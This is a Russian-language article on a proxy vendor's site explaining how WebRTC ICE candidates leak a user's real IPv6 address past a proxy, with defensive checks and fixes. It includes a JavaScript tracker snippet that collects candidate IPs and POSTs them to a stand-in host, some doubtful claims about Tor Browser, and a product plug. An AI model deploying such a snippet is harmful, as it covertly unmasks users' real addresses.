← Назад в базу знаний

Почему IPv6-прокси не спасает от баннерной слежки: утечка через WebRTC-кандидатов

Ты поставил прокси. Проверил IP на 2ip.ru — красивый адрес из Нидерландов, всё чисто. Открываешь сайт с рекламой, а через минуту тебе показывают кроссовки, которые ты искал час назад с другого устройства. Как так? Прокси работает, IP не палится. А трекер всё равно склеил тебя с реальным адресом. Причина — WebRTC. Точнее, его ICE-кандидаты, которые браузер собирает в фоне и отдаёт любому скрипту на странице.

Что вообще такое WebRTC и при чём тут прокси

WebRTC — это набор API для голоса, видео и P2P-соединений прямо в браузере. Чтобы два браузера нашли друг друга за NAT, они обмениваются ICE-кандидатами. Кандидат — это пара IP:порт, по которой можно попробовать установить связь. Браузер собирает их всеми доступными способами: через STUN-сервер (узнаёт свой публичный адрес), через локальные интерфейсы (192.168.x.x, 10.x.x.x), через TURN.

Ключевой момент: сбор кандидатов идёт на уровне сетевого стека, ниже уровня, где сидит HTTP-прокси. Прокси SOCKS5 или HTTP перехватывает TCP-соединения приложения. WebRTC же шлёт UDP-пакеты напрямую через системный сокет. Прокси тут не указ. Браузер не знает, что «надо через прокси», — он просто спрашивает у ОС: «дай мне сетевые интерфейсы», и ОС отдаёт всё, что есть.

Хуже того, публичный адрес через STUN определяется прямым UDP-запросом на STUN-сервер (обычно Google на 74.125.x.x:19302). Этот запрос уходит с твоего реального IP, минуя прокси. Ответ приходит обратно, браузер запоминает адрес — и вот он уже в списке кандидатов.

Как трекер вытаскивает кандидатов

Стандартный `RTCPeerConnection` собирает кандидатов и отдаёт их через событие `onicecandidate`. Скрипт создаёт пустое peer-соединение с фиктивным data-каналом, ждёт пару секунд и получает список. Никаких разрешений спрашивать не нужно — WebRTC не требует пользовательского согласия на сбор кандидатов. Только на доступ к камере и микрофону.

Вот как это выглядит в дикой природе. Скрипт баннерной сети, вставленный в iframe:

```javascript

const pc = new RTCPeerConnection({

iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]

});

pc.createDataChannel('');

pc.onicecandidate = (e) => {

if (!e.candidate) return;

const parts = e.candidate.candidate.split(' ');

const ip = parts[4];

const type = parts[7];

fetch('https://tracker.example/collect', {

method: 'POST',

body: JSON.stringify({ ip, type, ua: navigator.userAgent })

});

};

pc.createOffer().then(o => pc.setLocalDescription(o));

```

Через 1-3 секунды на сервер трекера улетает твой реальный публичный IPv4 и IPv6, плюс локальные адреса. Всё это привязывается к cookie, fingerprint браузера, списку шрифтов. Дальше — дело техники: склейка с историей поиска, ретаргетинг, продажа аудитории.

IPv6 делает утечку только заметнее

С IPv4 всё было почти прилично: за NAT сидели сотни людей с одним адресом, и трекер получал «серый» адрес провайдера. Точность привязки — город, иногда район. С IPv6 каждый получает /64 или /56 — это миллиарды адресов на одного абонента. Провайдер выдаёт префикс, и все твои устройства сидят в одной подсети. Трекер видит адрес вида `2a00:1234:5678:9abc::1` — и это уже почти паспорт.

Плюс IPv6-кандидаты собираются быстрее и стабильнее. Если у тебя dual-stack — браузер соберёт и v4, и v6 кандидатов. Оба уйдут трекеру. Даже если IPv4 спрятан за CGNAT провайдера, IPv6-адрес часто выдаётся публичный и статичный. Привязка к абоненту — почти однозначная.

Вот пример: сервер на nginx 1.24 проксирует трафик через upstream с IPv6-адресом. Логи показывают, что клиент пришёл с `2a02:6b8:c1f:...`. В заголовке `X-Forwarded-For` — тот же адрес. А через 200 мс в логах STUN-сервера всплывает тот же префикс, но уже от прямого UDP-запроса. Два разных канала, один и тот же абонент.

Что показывает curl и что показывает браузер

Проверить утечку просто. `curl` через прокси покажет один IP. Браузер — совсем другой.

```bash

curl -6 --socks5-hostname 127.0.0.1:1080 https://ifconfig.co

```

Ответ: `2a00:1234:5678:9abc::42` — адрес прокси. Красиво. Теперь открываем в браузере страницу с WebRTC-тестом. Получаем список: `2a00:1234:5678:9abc::42` (прокси), `192.168.1.15` (локальный), `2a02:6b8:c1f:1234:5678:9abc:def0:1` (реальный публичный IPv6 от провайдера). Последний — твой настоящий адрес, который прокси никак не прикрыл.

Разница в поведении объясняется архитектурой. `curl` — это одно TCP-соединение к одному хосту, он честно идёт через SOCKS5. Браузер — это десятки параллельных соединений, WebRTC-стек, DNS-запросы, mDNS-резолвинг. Прокси перехватывает только то, что явно настроено. Всё остальное уходит напрямую.

Почему настройки прокси в браузере не помогают

Ты ставишь SOCKS5 в настройках сети. Firefox и Chrome честно гоняют HTTP/HTTPS через него. Но WebRTC в Chrome исторически игнорирует прокси-настройки для UDP. В Firefox есть `media.peerconnection.ice.proxy_only` — настройка, которая заставляет собирать только relay-кандидаты через TURN-прокси. В Chrome аналог — `WebRtcIPHandlingPolicy` через enterprise policy, но обычный пользователь туда не полезет.

Проблема глубже. Даже если браузер уважает прокси, STUN-запросы — это UDP на порт 19302. SOCKS5 умеет UDP ASSOCIATE, но браузеры редко его используют для STUN. Проще отправить пакет напрямую. Получается зоопарк: TCP через прокси, UDP мимо, DNS через DoH, mDNS локально. И каждый канал — потенциальная утечка.

Вот конфиг nginx, который проксирует WebSocket и HTTP, но никак не влияет на UDP-трафик клиента:

```nginx

server {

listen 443 ssl;

server_name relay.example;

ssl_certificate /etc/ssl/cert.pem;

ssl_certificate_key /etc/ssl/key.pem;

location /signal {

proxy_pass http://127.0.0.1:8080;

proxy_http_version 1.1;

proxy_set_header Upgrade \$http_upgrade;

proxy_set_header Connection "upgrade";

proxy_set_header X-Forwarded-For \$remote_addr;

}

}

```

Сигнальный сервер получит твой прокси-адрес. А ICE-кандидаты, которые браузер отправит в этом же WebSocket-канале, будут содержать реальный IP. Сервер увидит расхождение: соединение пришло с одного адреса, а кандидат предлагает другой. Умный трекер это заметит и запишет оба.

Откуда берётся IPv6-кандидат, если прокси его не отдаёт

Браузер спрашивает у ОС список интерфейсов. Если у тебя dual-stack и провайдер выдал IPv6-префикс — интерфейс имеет глобальный адрес. Браузер берёт его и подставляет в кандидата типа `host`. Дальше STUN-сервер подтверждает: да, этот адрес виден снаружи. Кандидат становится `srflx` (server reflexive).

Тут есть тонкость. Если IPv6-адрес в интерфейсе — это temporary address (RFC 4941, privacy extensions), он меняется раз в несколько часов. Но в течение сессии он стабилен, и трекер успевает его записать. Более того, префикс /64 остаётся тем же — а этого достаточно для привязки к абоненту. По префиксу определяется провайдер, регион, иногда дом.

Хороший пример: сервер на Debian 12 с ядром 6.1, `net.ipv6.conf.all.use_tempaddr=2`. Адрес интерфейса меняется каждые 24 часа. Но STUN-запрос в момент сбора кандидатов фиксирует текущий. Трекер получает `2a02:6b8:c1f:1234:aaaa:bbbb:cccc:dddd`, а через сутки — `2a02:6b8:c1f:1234:eeee:ffff:1111:2222`. Префикс тот же. Склейка работает.

Реальные сценарии утечки

Первый сценарий — баннерная сеть на крупном медиа. Скрипт в iframe создаёт peer-соединение, собирает кандидатов, отправляет на свой сервер. Время сбора — 2 секунды. За эти 2 секунды пользователь даже не успевает заметить. Дальше трекер сопоставляет IPv6-префикс с базой провайдеров, получает регион и ASN, склеивает с cookie из другого домена. Через час ретаргетинг настигает в другой вкладке.

Второй сценарий — видео-плеер с P2P-раздачей. Многие CDN используют WebRTC для раздачи контента между зрителями. Плеер создаёт соединение, собирает кандидатов, отдаёт их сигнальному серверу. Если плеер встроен в страницу с трекером — кандидаты утекают дважды. Пользователь смотрит кино, а его реальный IPv6 уже в трёх базах.

Третий сценарий — корпоративная сеть. Сотрудник сидит за прокси, но у него dual-stack. IPv6-трафик идёт напрямую, потому что прокси настроен только на IPv4. WebRTC собирает кандидатов, среди них — корпоративный IPv6-адрес. Трекер видит: адрес из диапазона крупной компании. Дальше — таргетинг на B2B-услуги. Человек ищет облачный хостинг, а ему показывают корпоративные решения.

Как проверить свою утечку

Открой `browserleaks.com/webrtc` или `ipleak.net`. Смотри список кандидатов. Если видишь адрес, которого не ждал, — утечка есть. Сравни с тем, что показывает `curl` через прокси. Расхождение — красный флаг.

Второй способ — через консоль браузера. Вставь скрипт сбора кандидатов (тот, что выше), посмотри, что улетает. Если в списке есть `srflx` с реальным адресом — прокси не работает для WebRTC.

Третий способ — мониторинг на уровне сети. Запусти `tcpdump` на интерфейсе, посмотри UDP-трафик на порт 19302. Если пакеты уходят с твоего реального адреса, минуя прокси, — вот она, утечка.

```bash

sudo tcpdump -i any -n 'udp port 19302' -c 10

```

Вывод покажет источник и назначение. Если источник — твой реальный IPv6, а не туннель, значит, браузер шлёт STUN напрямую. Дальше вопрос: какой из твоих прокси это должен был перехватить и почему не перехватил.

Что реально помогает

Первое — отключить WebRTC в браузере. В Firefox: `media.peerconnection.enabled = false` в `about:config`. В Chrome: расширение WebRTC Leak Prevent или enterprise policy `WebRtcIPHandlingPolicy = disable_non_proxied_udp`. Это ломает часть видеозвонков, но для обычного сёрфинга — рабочий вариант.

Второе — использовать прокси, который умеет UDP. SOCKS5 с UDP ASSOCIATE, или TURN-сервер. Тогда WebRTC-трафик пойдёт через тот же канал, что и HTTP. Настройка сложнее, но результат надёжнее. Провайдер вроде lexic.ml даёт IPv6-прокси с поддержкой UDP-ассоциации — это как раз тот случай, когда прокси закрывает не только TCP, но и WebRTC-канал. Без этого настройки браузера — просто костыль.

Третье — отключить IPv6 на интерфейсе, если он не нужен. `sysctl net.ipv6.conf.all.disable_ipv6=1`. Тогда браузер соберёт только IPv4-кандидатов, а IPv4 за NAT провайдера менее точен. Минус — ломается доступ к IPv6-only ресурсам, которых всё больше.

Четвёртое — использовать браузер с жёсткой изоляцией. Tor Browser собирает только relay-кандидаты через свой TURN. Mullvad Browser — то же самое. Цена — скорость и совместимость с видеозвонками.

Таблица: что утекает при разных настройках

| Настройка | HTTP через прокси | STUN-запрос | IPv6-кандидат | Локальный IP |

|---|---|---|---|---|

| SOCKS5, WebRTC вкл | да | напрямую | да | да |

| SOCKS5, WebRTC выкл | да | нет | нет | нет |

| SOCKS5 + UDP ASSOCIATE | да | через прокси | да (адрес прокси) | да |

| TURN-сервер | да | через TURN | да (адрес TURN) | нет |

| Tor Browser | да | через TURN | да (адрес TURN) | нет |

Цифры приблизительные, зависят от браузера и версии. Но общая картина ясна: без перехвата UDP прокси не спасает.

Итог

IPv6-прокси — это инструмент для TCP. WebRTC — это UDP и сбор кандидатов на уровне ОС. Пока эти два мира не пересекаются, утечка будет. Браузер честно отдаёт трекеру твой реальный IPv6, и никакие настройки SOCKS5 этого не изменят. Проверяй кандидатов, отключай WebRTC, используй прокси с UDP-поддержкой. Иначе баннерная слежка склеит тебя быстрее, чем ты успеешь закрыть вкладку.

✔️Купить прокси